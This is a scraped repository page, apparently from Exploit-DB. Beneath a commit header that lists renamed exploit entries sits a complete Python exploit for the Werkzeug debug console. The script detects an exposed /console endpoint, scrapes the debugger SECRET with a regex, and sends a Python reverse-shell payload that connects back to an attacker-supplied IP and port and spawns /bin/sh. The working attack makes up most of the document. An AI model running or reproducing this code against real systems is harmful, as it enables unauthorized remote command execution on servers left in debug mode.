5947825a84
15 changes to exploits/shellcodes uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 - Range header Denial of Service μTorrent (uTorrent) / BitTorrent WebIU HTTP 1.7.7/6.0.1 - Range header Denial of Service uTorrent 1.8.3 Build 15772 - Create New Torrent Buffer Overflow (PoC) μTorrent (uTorrent) 1.8.3 Build 15772 - Create New Torrent Buffer Overflow (PoC) uTorrent WebUI 0.370 - Authorisation Header Denial of Service μTorrent (uTorrent) WebUI 0.370 - Authorisation Header Denial of Service Memcached - 'memcrashed' Denial of Service Memcached 1.5.5 - 'Memcrashed' Insufficient Control Network Message Volume Denial of Service (2) Memcached 1.5.5 - 'Memcrashed' Insufficient Control Network Message Volume Denial of Service (1) Memcached 1.5.5 - 'Memcrashed ' Insufficient Control of Network Message Volume Denial of Service With Shodan API Broadcom BCM43xx Wi-Fi - 'BroadPWN' Denial of Service WebLog Expert Enterprise 9.4 - Denial of Service uTorrent 2.0.3 - 'plugin_dll.dll' DLL Hijacking μTorrent (uTorrent) 2.0.3 - 'plugin_dll.dll' DLL Hijacking uTorrent 2.0.3 - DLL Hijacking μTorrent (uTorrent) 2.0.3 - DLL Hijacking iSumsoft ZIP Password Refixer 3.1.1 - Buffer Overflow Microsoft Office - 'Composite Moniker Remote Code Execution Mozilla Firefox - Address Bar Spoofing Tor (Firefox 41 < 50) - Code Execution Chrome 35.0.1916.153 - Sandbox Escape / Command Execution WebLog Expert Enterprise 9.4 - Authentication Bypass uTorrent 1.6 build 474 - 'announce' Key Remote Heap Overflow μTorrent (uTorrent) 1.6 build 474 - 'announce' Key Remote Heap Overflow t. hauck jana WebServer 1.0/1.45/1.46 - Directory Traversal T. Hauck Jana Server 1.0/1.45/1.46 - Directory Traversal Oracle WebLogic Server 10.3.6.0.0 / 12.x - Remote Command Execution Werkzeug - 'Debug Shell' Command Execution TikiWiki < 1.9.9 - 'tiki-listmovies.php' Directory Traversal TikiWiki Project < 1.9.9 - 'tiki-listmovies.php' Directory Traversal toronja CMS - SQL Injection Toronja CMS - SQL Injection uTorrent WebUI 0.310 Beta 2 - Cross-Site Request Forgery μTorrent (uTorrent) WebUI 0.310 Beta 2 - Cross-Site Request Forgery tinybrowser - 'tinybrowser.php' Directory Listing tinybrowser - 'edit.php' Directory Listing TinyBrowser - 'tinybrowser.php' Directory Listing TinyBrowser - 'edit.php' Directory Listing Xoops 2.5.7.2 - Directory Traversal Bypass XOOPS 2.5.7.2 - Directory Traversal Bypass SAP BusinessObjects launch pad - Server-Side Request Forgery antMan < 0.9.1a - Authentication Bypass Bacula-Web < 8.0.0-rc2 - SQL Injection
55 lines
No EOL
1.6 KiB
Python
Executable file
55 lines
No EOL
1.6 KiB
Python
Executable file
#!/usr/bin/env python
|
|
import requests
|
|
import sys
|
|
import re
|
|
import urllib
|
|
|
|
# usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422
|
|
|
|
if len(sys.argv) != 5:
|
|
print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0])
|
|
sys.exit(-1)
|
|
|
|
|
|
response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2]))
|
|
|
|
if "Werkzeug " not in response.text:
|
|
print "[-] Debug is not enabled"
|
|
sys.exit(-1)
|
|
|
|
# since the application or debugger about python using python for reverse connect
|
|
cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''' % (sys.argv[3],sys.argv[4])
|
|
|
|
__debugger__ = 'yes'
|
|
|
|
frm = '0'
|
|
|
|
response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2]))
|
|
|
|
secret = re.findall("[0-9a-zA-Z]{20}",response.text)
|
|
|
|
if len(secret) != 1:
|
|
print "[-] Impossible to get SECRET"
|
|
sys.exit(-1)
|
|
else:
|
|
secret = secret[0]
|
|
print "[+] SECRET is: "+str(secret)
|
|
|
|
# shell
|
|
print "[+] Sending reverse shell to %s:%s, please use netcat listening in %s:%s" % (sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4])
|
|
|
|
raw_input("PRESS ENTER TO EXPLOIT")
|
|
|
|
data = {
|
|
'__debugger__' : __debugger__,
|
|
'cmd' : str(cmd),
|
|
'frm' : frm,
|
|
's' : secret
|
|
}
|
|
|
|
|
|
response = requests.get("http://%s:%s/console" % (sys.argv[1],sys.argv[2]), params=data,headers=response.headers)
|
|
|
|
print "[+] response from server"
|
|
print "status code: " + str(response.status_code)
|
|
print "response: "+ str(response.text) |